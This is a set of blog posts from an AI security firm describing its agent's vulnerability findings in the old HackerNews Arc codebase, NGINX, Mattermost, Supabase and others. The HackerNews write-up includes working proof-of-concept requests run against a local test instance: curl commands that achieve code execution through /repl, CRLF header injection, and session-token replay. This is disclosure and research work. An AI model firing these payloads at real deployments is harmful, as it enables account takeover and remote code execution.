issue required tracking capture state across two evaluations. The rewrite issue required recognizing that two capture numbers could refer to overlapping bytes. Scan planning is necessary because a large repository contains more hypotheses than one scan can test. The threat model identifies attacker-controlled inputs, trust boundaries, relevant configurations, encoding steps, duplicated security checks, and size conversions. Before code analysis, Winfunc allocates compute to two tasks: 1. **Select code paths.** Rank reachable modules, protocol boundaries, security decisions, stateful interpreters, and high-risk code paths. 2. **Generate hypotheses.** Use deployment details, attacker control, trust boundaries, and required code conditions to create target-specific hypotheses. This planning requires domain knowledge about the target. For NGINX, configuration is part of reachability. A request can be encoded again for a different upstream protocol. Several script engines use separate length and copy programs. TLS verification data is split between OpenSSL state and NGINX state. Winfunc is reducing the amount of model scaffolding in the harness. Development now focuses on the target model, the threat model, and the evidence checks. ## A shared failure pattern All six findings involved two operations that were expected to use the same value or state: - OCSP produced a revocation result; the stream authorization path consumed only the ordinary verification result. - `proxy_set_body` produced a `size_t`; the wire header consumed only 24 bits. - Rewrite sizing reasoned about a URI; the writer consumed overlapping captures. - The HPACK builders reserved a fixed allowance; the encoder consumed a variable-width integer. - Stream sizing read one capture state; copying consumed a later capture state. This pattern provides specific scan hypotheses. The scan can compare count and copy operations, validation and authorization paths, parsers and forwarders, or in-memory and wire-format sizes. It can then check whether mutable state, configuration, encoding, or integer width changes the value between those operations. ## What Winfunc has found beyond NGINX At the time of publication, [Winfunc Hacktivity](/hacktivity) contains 28 public findings across 12 projects, with 19 distinct CVE identifiers. The public set includes 4 Critical, 11 High, and 13 Medium findings. We were behind the recent CVEs in React and Node.js (one of each). Three additional Chromium CVEs are visible there in redacted form and are not included in those public-detail totals until the original reports are publicly disclosed by the Chromium team. Hacktivity also includes these projects and findings: | Project | Representative Winfunc finding | Severity / status | |---|---|---| | NGINX | The six findings in this post, plus DAV path overlap and SCGI truncation | High / Medium | | Chromium | V8 type confusion (`CVE-2026-10910`), ANGLE uninitialized use (`CVE-2026-10994`), and ANGLE integer overflow (`CVE-2026-10019`) | High / Medium · reports redacted | | seroval | [Promise resolver type confusion during deserialization](/hacktivity/CVE-2026-59940) | Critical | | React | [RSC `$K` FormData amplification](/hacktivity/CVE-2026-23864) | High | | Node.js | [Permission Model bypass through Unix-domain sockets](/hacktivity/CVE-2026-21636) | Medium | | Anthropic | [FastMCP custom routes skip authentication](/hacktivity/anthropic-fastmcp-auth-bypass) | Critical | | Supabase | [Queue-name SQL injection](/hacktivity/supabase-sql-injection-via-queue-names) | Critical | | Bun | [Exponential YAML merge-key denial of service](/hacktivity/bun-yaml-dos) | High | | Gumroad | [Zero-click account takeover through an authorization bypass](/hacktivity/gumroad-helper-auth-bypass-ato) | Critical | | Mattermost | [Oversized-password login denial of service](/hacktivity/CVE-2026-24458), among ten public findings | High | | Better-Auth | [Forged multi-session cookie revocation](/hacktivity/better-auth-multi-session-signout-ato) | Medium | | Actix | [CL.TE request smuggling](/hacktivity/GHSA-xhj4-vrgc-hr34) | Medium | | Hoppscotch | [CLI sandbox escape](/hacktivity/CVE-2024-34347) | High | Winfunc surfaced each public entry autonomously. The team then reproduced the issue, reviewed the report, and coordinated disclosure with the maintainer. We also have undisclosed 0-days under coordinated disclosure. We will add them to Hacktivity after fixes are available. --- And readers, please challenge us to find 0-days in other hardened targets (literally any target we could read the code of). We'll pick them one-by-one, responsibly disclose them, and with their permission, write a detailed report on how we (as in, Winfunc) discovered them. ### Hacking the old HackerNews codebase URL: https://winfunc.com/research/hacking-the-old-hackernews-codebase Author: Mufeed VH Published: April 18, 2026 Updated: April 18, 2026 Tags: research, fun Auditing the old HackerNews codebase for security vulnerabilities with LLMs on a specialized harness. #### Content We wrote this post to showcase what our AI hacking agent is capable of. And for fun! During YC (we're a [YC S24 company](https://www.ycombinator.com/companies/winfunc)!), we had the awesome opportunity to meet PG and talk about our product. To showcase a fun demo, I remember opening my laptop in the Uber to his home and challenging our agents to find vulnerabilities in the old HackerNews codebase written in Arc. For those unfamiliar, Arc is a programming language designed by Paul Graham and Robert Morris. And the old [HackerNews](https://github.com/wting/hackernews) codebase is written in Arc. It did _kinda_ well but this was when Claude Sonnet 3.5 was the frontier model. The models we have now changes the picture entirely, especially when equipped with a specialized harness. This blog goes over the complete details of this fun experiment. The **TL;DR** is: Our agent discovered 10 vulnerabilities with complete proof-of-concept and exploit. Here's the PDF export of the audit produced by Winfunc: [Read the Winfunc Audit Report](assets/Security%20Report%20-%20hackernews%20(12%20vulnerabilities).pdf). ## First, getting this thing to run The [repo](https://github.com/wting/hackernews) looks small. The runtime is a bit of a trap. The code in this checkout is Arc 3.0-era code. The README says to use MzScheme 372. We tried modern Racket first and ran straight into the old mutable-pair problem. Newer Racket can fake parts of the legacy environment, but this codebase expects the old behavior all the way down. The least painful way we found was an `amd64` Debian container with MzScheme 372 installed from the historical PLT Scheme bundle. We used: ```bash curl -L -o /tmp/mz-372-bin-x86_64-linux-f7.sh \ http://download.plt-scheme.org/bundles/372/mz/mz-372-bin-x86_64-linux-f7.sh ``` Then a tiny image: ```dockerfile FROM --platform=linux/amd64 debian:12-slim RUN apt-get update && apt-get install -y --no-install-recommends openssl ca-certificates curl && rm -rf /var/lib/apt/lists/* COPY mz-372-bin-x86_64-linux-f7.sh /tmp/mz.sh RUN set -eux; mkdir -p /opt/plt372; cd /opt/plt372; printf 'no\n4\n' | sh /tmp/mz.sh > /tmp/install.log 2>&1 WORKDIR /work ``` And a bootstrap script: ```scheme (require mzscheme) (current-directory "/work") (require (file "/work/ac.scm")) (require (file "/work/brackets.scm")) (use-bracket-readtable) (aload "arc.arc") (aload "libs.arc") (arc-eval '(load "news.arc")) (arc-eval '(nsv 8080)) ``` After that, the app came up cleanly at `http://127.0.0.1:8080`. ## What we found Winfunc discovered 12 total findings. After reproducing them against live instances, we ended up with this: | ID | Finding | Verdict | | --- | --- | --- | | 1 | Admin `/repl` executes attacker-controlled code via plain web request | Valid | | 2 | Bootstrap admin username can be claimed through public signup | Valid | | 3 | Comment edit path skips comment kill rules | Valid | | 4 | Memoized URL validation grows memory without bound | Valid | | 5 | `userinfo@host` URLs bypass site-ban logic | Valid | | 6 | Vote-after-login continuation treated as CSRF | Invalid | | 7 | Login redirect can inject response headers | Valid | | 8 | Concurrent auth-state saves cause durable on-disk corruption | Invalid | | 9 | Vote/login open redirect | Valid, same root cause as 12 | | 10 | Vote URLs and logs leak reusable session tokens | Valid | | 11 | Public login `fnid` replay swaps victim into attacker account | Valid | | 12 | Vote/login flow redirects to attacker-controlled external URL | Valid | Ten survived. Two didn't. That's a pretty good showing, and the misses are useful too. One of the invalid findings turned out to be ordinary product behavior dressed up as CSRF. The other exposed a real race, but not the durable auth-file corruption the report claimed. This is desirable because it's exactly the kind of pruning you want if you're trying to use a system like this in the real world. ## The bugs that held up ### 1. Bootstrap admin takeover This is somewhat of an intended behaviour, it's just not secure implementation. The repository's setup notes tell you to put an admin username in `arc/admins`, start the server, click `login`, and create that account. The app grants admin status by username membership in `admins*`. It does not protect that name during public self-registration. On a fresh instance with `arc/admins` containing only `adminrace`, we did this: 1. hit `/whoami` 2. followed the public `Log in` link 3. used the `Create Account` form to register `adminrace` The response set: ```text Set-Cookie: user=zsK6Njzs; expires=Sun, 17-Jan-2038 19:14:07 GMT ``` Using that cookie, both `/admin` and `/prompt` worked right away. That means a fresh public deployment can hand its admin account to the first person who shows up and guesses the bootstrap name. And this can be chained. Because once the bootstrap admin is yours, the next bug matters. ### 2. `/repl` is remote code execution with a browser in the middle The old Prompt app is loaded by default, and it still has a web REPL: - `/prompt` for apps - `/repl` for direct evaluation The `/repl` route only checks whether the ambient session belongs to an admin. It takes `expr` from the request, parses it, and runs `eval`. We used the stolen `adminrace` session from the previous bug and sent: ```bash curl -s -b /tmp/hnf2.jar -c /tmp/hnf2.jar -G \ http://127.0.0.1:8082/repl \ --data-urlencode 'expr=(do (writefile "owned" "arc/repl-csrf") (quote ok))' \ > /tmp/hnf2-repl.html ``` Then checked the host-side file: ```bash ls -l /tmp/hn-f2/arc/repl-csrf cat /tmp/hn-f2/arc/repl-csrf ``` Observed: ```text "owned" ``` This is the sort of bug that makes people say "well, it's an admin REPL, what did you expect?" What we expected was a nonce, a POST-only path, an origin check, or any sign that the request had to be deliberate. Instead it's a plain web endpoint that will happily execute code from an authenticated GET. If you want the shortest version of the exploit chain in this post, it's this: public signup -> bootstrap admin claim -> `/repl` -> server-side code execution ### 3. Public login `fnid` replay lets you stuff a victim browser into your own account Arc's `fnid` mechanism is one of the more charming parts of the codebase. It's also where one of the cleaner bugs lives. The public login form uses a bare `fnform`. The generated `fnid` is stored in a global table, not bound to a browser, not bound to a session, not bound to a user. We reproduced it with three separate cookie jars: 1. create attacker-controlled account `sockswap` 2. harvest a public login `fnid` from `/login` in a different anonymous session 3. replay that `fnid` from a third, unrelated victim session, but with `u=sockswap&p=pw1234` The replay response included: ```text Set-Cookie: user=kAtoisWj; expires=Sun, 17-Jan-2038 19:14:07 GMT ``` And the victim session's `/whoami` changed from: ```text You are not logged in. ``` to: ```text sockswap at 192.168.215.1 ``` Not credential theft. Something weirder. The victim browser is now operating as the attacker's chosen account. ### 4. The login redirect can inject headers This one is old-school and fun in a nasty way. The request parser percent-decodes arguments. Later, `reassemble-args` rebuilds a redirect target without re-encoding them. Then `respond()` prints the result straight into `Location:`. We used the protected `resetpw` route as the login-gated entry point: ```bash curl -s -c /tmp/f7.jar -b /tmp/f7.jar \ 'http://127.0.0.1:8082/resetpw?x=%0d%0aX-Injected:%20yes' > /tmp/f7-login.html ``` Then created an account through the returned `/y` form and captured the raw response: ```text HTTP/1.0 302 Moved Set-Cookie: user=06kM7FS8; expires=Sun, 17-Jan-2038 19:14:07 GMT Location: resetpw?x= X-Injected: yes ``` Achieving an injected header line on the application's own origin. ### 5. The vote/login flow is an open redirect Winfunc logged this twice, once as finding 9 and once as finding 12. Same root cause. We kept both, but they're the same bug. The flow is: 1. user is logged out 2. attacker sends `/vote?...&whence=` 3. app shows the normal login page 4. user logs in 5. app redirects to `whence` without checking whether it's on-site We created `victim2`, created a fresh story with id `2`, then requested: ```text /vote?for=2&dir=up&whence=http://127.0.0.1:9000/landing ``` After login, the response was: ```text HTTP/1.0 302 Moved Set-Cookie: user=HSoZtjqU; expires=Sun, 17-Jan-2038 19:14:07 GMT Location: http://127.0.0.1:9000/landing ``` The target story's score moved from `0` to `1` in the same flow. So the site does two things at once: - casts the deferred vote - bounces the browser to an attacker-controlled origin That second part is the actual bug. The first part just makes the redirect more confusing. ### 6. Vote URLs and news logs leak a reusable session token This one is fun because the token in `auth=` is not some special-purpose vote nonce. It's actually the live session identifier. We logged in as `victim3`. The active session cookie was: ```text nwL1Mq4V ``` Then we sent a vote request using that same value in `auth=` and checked the news log: ```text 1776450954 192.168.215.1 victim3 vote victim3 3 up nwL1Mq4V news ``` Then we replayed it from another client: ```bash curl -s -H "Cookie: user=nwL1Mq4V" http://127.0.0.1:8082/whoami ``` The server answered: ```text victim3 at 192.168.215.1 ``` That's a straight session replay. The claim in the original finding talked about vote URLs and logs. In our reproduction, the log path alone was enough to prove impact. Once the log has the token, the account is yours until logout. ### 7. Comment moderation only runs on create, not on edit This is the kind of bug people miss because the code "basically works." We set the admin comment kill list to: ```text SPAMWORD ``` Then we did the same content two ways as user `commenter1`. First path: 1. post a benign comment 2. edit it into `buy now SPAMWORD` That produced comment `7`, saved as: ```text ((votes ...) (by "commenter1") (type comment) ... (text "buy now SPAMWORD") (id 7) ...) ``` No `dead` flag. Second path: 1. submit a fresh comment directly containing `SPAMWORD` That produced comment `8`, saved as: ```text ((votes ...) (by "commenter1") (type comment) ... (dead t) (text "direct SPAMWORD submission") (id 8) ...) ``` That's the whole bug in one comparison. ### 8. Site bans can be dodged with `userinfo@host` URLs The URL parsing here is old enough to have sharp corners in places people forgot existed. We banned `example.com` with an `ignore` entry in `banned-sites*`, then compared two submissions. Control: ```text http://example.com/plain-ban-check ``` Observed result: - redirect to the site message page - page body said `Stop spamming us. You're wasting your time.` - no new story created Bypass: ```text http://user@example.com/userinfo-bypass-check ``` Observed result: - redirect to `newest` - new story `6` created - saved story had no `dead` flag The parser is treating the userinfo form as a different site name, so the enforcement path never fires. ### 9. Memory growth through memoized URL validation The app memoizes `valid-url`. The memoizer never evicts. Nil results are cached too. That means rejected inputs still stay around forever. On a clean instance at `http://127.0.0.1:8085`, we: 1. logged in as a normal authenticated user 2. fetched `/submit` once 3. reused that form token for 50 submissions 4. gave each submission a unique invalid URL string about 50 KB long 5. paced them under the rate limiter 6. measured MzScheme RSS before, after, and after a short idle pause Observed: ```text rss_before_kb=50400 rss_after_kb=104464 rss_after_idle_kb=104464 ``` So the process kept roughly 54 MB of extra resident memory after the requests stopped. That's a real low-privilege DoS. ## The findings that didn't hold up Sometimes these models flag vulnerabilities that require "hardening" at best but doesn't really pose an impact when the intended trust-boundary or threat model is taken into account. ### 10. Deferred vote-after-login is behavior, not a security bug We reproduced the reported behavior exactly: 1. open `/vote?for=1&dir=up&whence=news` while logged out 2. see the first-party page saying `You have to be logged in to vote.` 3. log in 4. watch the score change from `0` to `1` We marked it invalid. Why? Because the site tells the user, in plain English, that they're logging in to vote. The action isn't hidden. A link can still be used in social engineering, sure. But that's not enough for us to keep it as a confirmed CSRF bug. ### 11. The auth-state race is real, but not in the way the finding claimed This one was the most annoying to validate. Winfunc reported a race that could corrupt `arc/hpw` and `arc/cooks`, survive restart, and even make admin-listed names reclaimable. We could reproduce the race symptom. We could not reproduce the rest. What we saw from a fresh public instance: ```text 80 concurrent create-account requests 78 successful HTTP responses arc/hpw remained readable arc/hpw contained 78 corresponding accounts server logs showed rename-file-or-directory errors on arc/cooks.tmp ``` So yes, concurrent public requests do trip over the fixed `file.tmp` path. We also hit rename failures in a direct concurrency stress test against the real `set-pw` path. But after the race settled: - the password file was still readable - the on-disk entries matched the successful requests - we did not get an empty auth table on reload - we did not get the follow-on "re-register the admin name after restart" condition That makes the finding invalid as written. There's still a race-induced reliability bug here. There just wasn't enough to support the reported impact. ## Why we keep using _weird_ codebases like this There's an easy way to oversell this target. We could say "look, our system found bugs in an old Lisp codebase." That's true, but it misses the interesting part. The interesting part is that Arc is the kind of language that wrecks brittle tooling. No off-the-shelf parser support. Old runtime. Weird macros. Plenty of app logic tucked into code paths that don't look like modern web stacks. Our product/research makes two claims that this exercise tests directly: 1. it can read code in basically any language 2. it doesn't stop at a report; it pushes through to PoCs and fixes The older [How Asterisk Works](https://winfunc.com/research/how-winfunc-works) post says the system builds a code graph, generates attack ideas, validates them, and throws away what doesn't survive a running target. It's also exactly what happened here: - 12 findings in total - 10 that held up - 2 that didn't That's a useful ratio, especially on a codebase this odd (_for LLMs ig_). ## Dogfooding these models to be good at hacking We improve our agents or the new term for it, "harness", on a daily basis based on a lot of evals and benchmarks we conduct. We have been thinking about this problem/idea since GPT-2 came out. We started practically applying it since GPT-3.5 on CTFs challenges and real-world bug bounties and pentests. We foresaw what's about to happen ever since. Now "this" is the talk of the town. "Mythos", "GPT-5.4-Cyber", "Trusted Access for Cyber", etc. One of the other experiments we conduct albeit rarely is letting our agents find 0-days in mission critical software. ## Finding real 0-days with LLMs We do evals that are beyond just weird codebases btw. On real battle-tested codebases. So far, we've discovered 0-days in Chromium (dislcosure soon), [NGINX](https://winfunc.com/hacktivity/CVE-2026-28755), [Node.js](https://winfunc.com/hacktivity/CVE-2026-21636), [React](https://winfunc.com/hacktivity/CVE-2026-23864) (yeah the recent React one), [Bun](https://winfunc.com/hacktivity/bun-yaml-dos), etc. and more exciting ones that are pending disclosure. You can see some of our findings on our Hacktivity page: https://winfunc.com/hacktivity. All of them were discovered autonomously by Winfunc with no human-in-the-loop. ## Our OSS auditing initiative We audited the old HackerNews codebase so of course we're going to post this on HackerNews. So we have an ask/request for the audience. If you're a maintainer of a widely used non-commercial open-source project, we'd love to audit your codebase for "free". We're basically doing a "mini" [Project Glasswing](https://www.anthropic.com/glasswing). We'd love to help secure more critical open-source projects. We've done this before. For example, we audited the Rust crypto implementation of [Ente](https://github.com/ente-io/ente). They even wrote about us: https://ente.com/blog/rust-crypto-audit/. (Thanks!) If you're a commercial project/company in need of strong proactive security audits, you can book a demo with us. Thanks for reading our fun little experiment! :) ### What an automated vulnerability research system actually found URL: https://winfunc.com/research/what-an-automated-vulnerability-research-system-actually-found Author: Mufeed VH Published: March 26, 2026 Updated: March 26, 2026 Tags: research, hacktivity, security Thirteen patched bugs across nine projects, including Node.js, React, NGINX, Mattermost, Supabase, Bun, Gumroad, Anthropic's MCP SDK, and Better-Auth. What the system got right, where it still falls over, and why executable PoCs matter more than model reasoning. #### Content I'll start with the evidence: thirteen patched bugs. Over the past few months we've been running an automated vulnerability research system against open source software. A system that reads code, forms attack ideas, writes tests and harnesses, runs them, and throws most of them away. So far it has produced thirteen confirmed issues across nine projects. Seven CVEs. Three critical. Three high. Six medium. One low. All patched or fixed upstream. The useful claim here is simpler: once a model has to survive contact with a real build, it can find bugs maintainers will actually fix. Here's the list. | Project | Bug | Severity | CVE | |---|---|---|---| | Node.js | [Permission Model bypass via Unix Domain Sockets](/hacktivity/CVE-2026-21636) | Medium | CVE-2026-21636 | | React | [RSC decoder DoS via `$K` FormData amplification](/hacktivity/CVE-2026-23864) | High | CVE-2026-23864 | | NGINX | [stream module accepts revoked client certificates despite OCSP](/hacktivity/CVE-2026-28755) | Medium | CVE-2026-28755 | | NGINX | [SCGI unbuffered mode sends truncated `Content-Length`](/hacktivity/nginx-scgi-content-length-unbuffered) | Medium | - | | Mattermost | [SSRF bypass via IPv4-mapped IPv6 literals](/hacktivity/CVE-2026-2455) | Medium | CVE-2026-2455 | | Mattermost | [User-Agent version parser panic during session creation](/hacktivity/CVE-2026-25783) | Medium | CVE-2026-25783 | | Mattermost | [Oversized password login DoS in legacy password comparison](/hacktivity/CVE-2026-24458) | High | CVE-2026-24458 | | Mattermost | [Private channel enumeration through `/mute` error messages](/hacktivity/CVE-2026-21386) | Medium | CVE-2026-21386 | | Supabase | [SQL injection via queue name interpolation](/hacktivity/supabase-sql-injection-via-queue-names) | Critical | - | | Gumroad | [0-click account takeover via helper endpoint](/hacktivity/gumroad-helper-auth-bypass-ato) | Critical | - | | Anthropic MCP SDK | [FastMCP custom routes skip auth middleware](/hacktivity/anthropic-fastmcp-auth-bypass) | Critical | - | | Bun | [Exponential merge keys in YAML parser](/hacktivity/bun-yaml-dos) | High | - | | Better-Auth | [Forged multi-session cookies revoke arbitrary sessions](/hacktivity/better-auth-multi-session-signout-ato) | Medium | - | Thirteen findings over a few months is a meaningful result. The sample is still small, the hit rate still swings by target, and the system still burns through plenty of dead hypotheses. Even so, it's enough evidence to stop treating model-driven vulnerability research as a toy. ## The pattern was familiar Most of these bugs were familiar. They came from mismatches. A protection existed, but one equivalent input slipped around it. Node.js blocked outbound TCP under the Permission Model but missed Unix domain sockets. Mattermost tried to block internal addresses and forgot that `[::ffff:127.0.0.1]` is still loopback in practice. NGINX stream checked the certificate chain, but not the OCSP revocation result that the HTTP path already enforced. Another cluster was authentication that looked configured but failed at the point of use. FastMCP protected the built-in endpoints and left custom routes outside the auth middleware. Gumroad's helper endpoint checked that an `Authorization` header existed, not that it was valid. Better-Auth trusted a cookie name pattern during sign-out without verifying where it came from. And then there were the usual resource-amplification bugs. React's RSC decoder could be pushed into repeated scans of attacker-controlled `FormData`. Bun's YAML merge-key handling turned a tiny file into seconds of work. Mattermost accepted oversized login passwords on legacy comparison paths before failing them. None of that is glamorous, and that matters. Real software keeps breaking at trust boundaries, parser edges, and boring wiring mistakes. The system did well because it kept checking those areas mechanically, without getting bored and without assuming similar-looking code paths were actually equivalent. ## Three findings worth looking at closely ### NGINX: revoked certificate, accepted connection This one is my favorite because the bug is tiny and the consequence is large. In NGINX stream, you can require client certificates and turn on OCSP revocation checks. A revoked client cert should be dead on arrival. In the vulnerable path, it still connected. The stream handler did this: ```c if (sscf->verify) { rc = SSL_get_verify_result(c->ssl->connection); if (rc != X509_V_OK && (sscf->verify != 3 || !ngx_ssl_verify_error_optional(rc))) { return NGX_ERROR; } if (sscf->verify == 1) { cert = SSL_get_peer_certificate(c->ssl->connection); if (cert == NULL) { return NGX_ERROR; } X509_free(cert); } /* no ngx_ssl_ocsp_get_status() here */ } return NGX_OK; ``` The HTTP module already had the extra check: ```c if (ngx_ssl_ocsp_get_status(c, &s) != NGX_OK) { ngx_log_error(NGX_LOG_INFO, c->log, 0, "client SSL certificate verify error: %s", s); ngx_http_finalize_request(r, NGX_HTTPS_CERT_ERROR); return; } ``` That's the whole bug. Stream learned the certificate was revoked, then never enforced the OCSP result. A revoked client cert kept working until expiry. The system found it by comparing two modules that were supposed to honor the same security setting and then driving both with a revoked certificate. One path rejected. One path didn't. That's a good shape of bug for automation: same feature, two code paths, subtle enforcement drift. NGINX fixed it in [PR #1213](https://github.com/nginx/nginx/pull/1213). ### Mattermost: SSRF through an address-formatting gap Mattermost had an `IsReservedIP` check meant to stop server-side requests to internal ranges. The function looked fine if you read it quickly: ```go func IsReservedIP(ip net.IP) bool { for _, ipRange := range reservedIPRanges { if ipRange.Contains(ip) { return true } } return false } ``` The problem sat in what *wasn't* in `reservedIPRanges`: the checks were written for IPv4 CIDRs. Go does not treat an IPv4-mapped IPv6 address as interchangeable with a 4-byte IPv4 value here. So `::ffff:127.0.0.1` slid past an IPv4-only check even though it still points at loopback. The fix was tiny: ```go func IsReservedIP(ip net.IP) bool { if ip4 := ip.To4(); ip4 != nil { ip = ip4 } for _, ipRange := range reservedIPRanges { if ipRange.Contains(ip) { return true } } return false } ``` Canonicalize first. Then check. I've seen this class of SSRF bug more than once, which is exactly why a machine is useful here. It will keep trying dumb representation variants long after a human has talked themselves into thinking the filter is "basically fine." ### Supabase: yes, SQL injection This one was almost insulting. Supabase Studio's queue page took a queue name from the route and interpolated it into SQL: ```javascript "pgmq"."q_${queueName}"; ``` No parameterization. No proper quoting. No validation that mattered. If a project member clicked a crafted URL, the dashboard could execute attacker-controlled SQL with service-role access. The code says exactly what it says: SQL injection. In 2026. In a production SaaS dashboard. What matters here is the category the system kept checking. Human reviewers often think they are too senior to miss route params flowing into SQL. The system kept tracing that path anyway. String interpolation near SQL. Boring source-to-sink work. Still effective. Supabase fixed it in [PR #40290](https://github.com/supabase/supabase/pull/40290). ## The part that mattered: execution The model's raw output fails constantly. Most hypotheses are wrong. Some are obviously wrong. Some are polished, plausible, technically worded nonsense. The model will happily describe an IDOR where the user ID comes from the session, a traversal where validation happened three functions up the stack, or a race in code that already sits under a mutex. The execution loop made this usable. The workflow is simple to describe and messy to run: 1. map the code and identify trust boundaries, 2. generate attack ideas around those boundaries, 3. turn those ideas into something executable, 4. run it against the target, 5. throw away nearly everything that doesn't survive reality. Step three is where a lot of systems quietly fall apart. The model writes broken harnesses all the time. Missing imports. Wrong startup assumptions. Bad paths. Tests that fail before the hypothesis is even meaningfully exercised. Sometimes the environment is the problem. Sometimes the generated test is. Sometimes the idea was junk from the start. That's fine. Broken harnesses are cheaper than bogus reports. Without a working reproducer, the finding dies there. I care much more about that filter than I do about the model's ability to talk convincingly about a bug. Security tooling has enough fake confidence already. ## What these results support These results support a straightforward claim: model-driven vulnerability research can produce real findings across different languages and bug classes. The list here spans C, Go, JavaScript, Python, Ruby; auth bugs, parser blowups, protocol mistakes, a sandbox bypass, and plain injection. Human involvement remains heavy. Humans still choose targets, make the environments runnable, inspect the survivors, write up impact carefully, and handle disclosure. The system still depends on people at every stage that matters. Industrial-scale throughput is still an open question. Thirteen findings is real evidence, and still a small sample. Some runs produced multiple issues. Some produced nothing useful. A lot of hypotheses died for good reasons. The more useful comparison is marginal cost per extra target: one more parser, one more auth layer, one more dusty module. Once that cost drops, you start looking at code you would never justify auditing by hand. The shift is economic. Once the machinery exists, it becomes cheap to be stubborn. Cheap to keep trying variant inputs. Cheap to compare two code paths that ought to behave the same way. Cheap to burn time on a module nobody thinks is worth a week of manual attention. The hit rate still swings wildly by target. Some targets are miserable. Hardware-bound systems are awkward. Bugs that need long-lived state or weird deployment setups are slow and expensive to validate. And if a bug depends on a very human read of product intent, the model can still miss the point entirely. Still, the floor has moved. A year ago I would've bet against a system like this finding a Node.js sandbox escape, an NGINX revocation bypass, a React parser DoS, and a Mattermost SSRF filter miss in the same stretch of work. I was wrong. ## One practical takeaway If you maintain software, ask for a reproducer. Or simply put, `PoC||GTFO`. At scale, I trust a script, a request, or a test case I can run against the vulnerable build and then run again after the fix. That advice applies to human reporters and machine-assisted ones alike. But the gap between execution-backed findings and model-generated slop is getting wider, and maintainers need a fast way to sort one from the other. A working PoC does that better than anything else I've seen. The development that matters is the scaffolding around the models: with enough of it, they can grind through code, keep trying dumb variants, and occasionally hit something real. That capability exists now. The open questions are where it works reliably, how often it fails, and how far it scales. ## Fixes and advisories - [CVE-2026-21636](https://github.com/advisories/GHSA-7xhv-hcmf-4rfv), fixed in Node.js [25.3.0](https://nodejs.org/en/blog/release/v25.3.0/), [24.13.0](https://nodejs.org/en/blog/release/v24.13.0/), [22.22.0](https://nodejs.org/en/blog/release/v22.22.0/), [20.20.0](https://nodejs.org/en/blog/release/v20.20.0/) - [CVE-2026-23864](https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg), fixed in React [19.0.4, 19.1.5, 19.2.4](https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components) - [CVE-2026-28755](https://github.com/nginx/nginx/pull/1213), fixed in NGINX via [PR #1213](https://github.com/nginx/nginx/pull/1213) - NGINX SCGI, fixed via commit `fe2d109`, tracked in [PR #1118](https://github.com/nginx/nginx/pull/1118) - [CVE-2026-2455](https://github.com/mattermost/mattermost/pull/35097), [CVE-2026-25783](https://github.com/mattermost/mattermost/pull/35098), [CVE-2026-24458](https://github.com/mattermost/mattermost/pull/35092) with the 10.11 fix in [PR #35062](https://github.com/mattermost/mattermost/pull/35062), and [CVE-2026-21386](https://github.com/mattermost/mattermost/pull/35099), all fixed in Mattermost - Supabase SQL injection, fixed via [PR #40290](https://github.com/supabase/supabase/pull/40290) - Gumroad helper auth bypass, fixed via [PR #2098](https://github.com/antiwork/gumroad/pull/2098) - Anthropic FastMCP auth bypass, fixed via [PR #1660](https://github.com/modelcontextprotocol/python-sdk/pull/1660) - Bun YAML DoS, fixed via [PR #24729](https://github.com/oven-sh/bun/pull/24729) - Better-Auth session revocation, disclosed via [GHSA-wmjr-v86c-m9jj](https://github.com/better-auth/better-auth/security/advisories/GHSA-wmjr-v86c-m9jj) ### How Asterisk Works URL: https://winfunc.com/research/how-winfunc-works Author: Mufeed VH Published: Aug 30, 2024 Updated: Aug 30, 2024 Tags: engineering, repost, deprecated A repost of the original Asterisk architecture: how an AI security agent indexed code, generated attack ideas, verified vulnerabilities, and produced patches with low-noise reports. #### Content > [!Imitation is the sincerest form of flattery] > > This is a repost of the initial architecture of winfunc (previously called Asterisk), as of [August 2024](https://web.archive.org/web/20240902073300/https://asterisk.so/blog/how-asterisk-works). > > Since then we’ve seen several attempts to mimic this architecture in the wild, mostly converging on this exact same implementation. > > We are proud to pioneer the new age of AI-native security tools. > > The current winfunc architecture is much more mature but we decided to repost this because of the popularity of the blog and the amount of requests we received. ## What is Asterisk? Asterisk is an AI Agent that finds, verifies, and patches security vulnerabilities in codebases. It can find business logic errors with context-aware scanning and generate reports with near-zero false positives. ## The Asterisk Process Asterisk utilizes a six-step process to find security vulnerabilities in codebases with high accuracy. Let's explore each step in technical detail. ### 1. Indexing Asterisk starts by indexing your codebase. We wrote an algorithm that combines static indexing with [`tree-sitter`](https://tree-sitter.github.io/tree-sitter/) and an LLM agent that walks your code to create a complete mapping of your codebase with accurate call stack and code graph generation. Let's demonstrate this with a fun example. #### Indexing the old HackerNews codebase The old HackerNews codebase from nine years ago is up on [GitHub](https://github.com/wting/hackernews). It is written in [Arc](https://en.wikipedia.org/wiki/Arc_(programming_language)), a dialect of Lisp created by [Paul Graham](https://en.wikipedia.org/wiki/Paul_Graham_(programmer)) and [Robert Morris](https://en.wikipedia.org/wiki/Robert_Tappan_Morris). There are no AST indexers or parsers for Arc implemented with `tree-sitter`. So, the way to create an AST for programs written in Arc is to write a tree-sitter parser on our own or somehow write a hacky FFI implementation for the [Arc compiler](https://github.com/wting/hackernews/blob/master/ac.scm). This isn't ideal. We aim to support any given programming language using a language-agnostic indexer that requires zero engineering effort to write parsers to extend support. We achieved this by implementing a code graph constructing algorithm that gets filled as an ML model classifies the code. Our implementation isn't limited by the LLM's context window or cost. With a way to structure any code into the same format (a variant of the tree-sitter grammar), we could convert large source files into smaller chunks while still maintaining accuracy for call stack generation. Let's index the HackerNews codebase with Asterisk. ![GraphViz DOT representation of the HackerNews Arc codebase generated by Asterisk](arc-codebase-graphviz.avif) *The above image is a part of the large GraphViz DOT representation of the HackerNews Arc codebase generated by Asterisk.* This step is crucial for the process forward, as Asterisk can recall the call stack for each function to see how user input travels through the logic. This is also how Asterisk can create payloads that bypass validations and reach into the vulnerable code snippet with high accuracy. For example, for the function `handle-request`, this is what the call stack looks like: **Function `handle-request`** ```arc (def handle-request (s breaksrv) (if breaksrv (handle-request-1 s) (errsafe (handle-request-1 s)))) ``` **Incoming Functions:** 1. **`serve`** ```arc (def serve ((o port 8080)) (wipe quitsrv*) (ensure-srvdirs) (map [apply new-bgthread _] pending-bgthreads*) (w/socket s port (prn "ready to serve port " port) (flushout) (= currsock* s) (until quitsrv* (handle-request s breaksrv*))) (prn "quit server")) ``` 2. **`serve1`** ```arc (def serve1 ((o port 8080)) (w/socket s port (handle-request s t))) ``` **Outgoing Functions:** 1. **`handle-request-1`** ```arc (def handle-request-1 (s) (let (i o ip) (socket-accept s) (if (and (or (ignore-ips* ip) (abusive-ip ip)) (++ 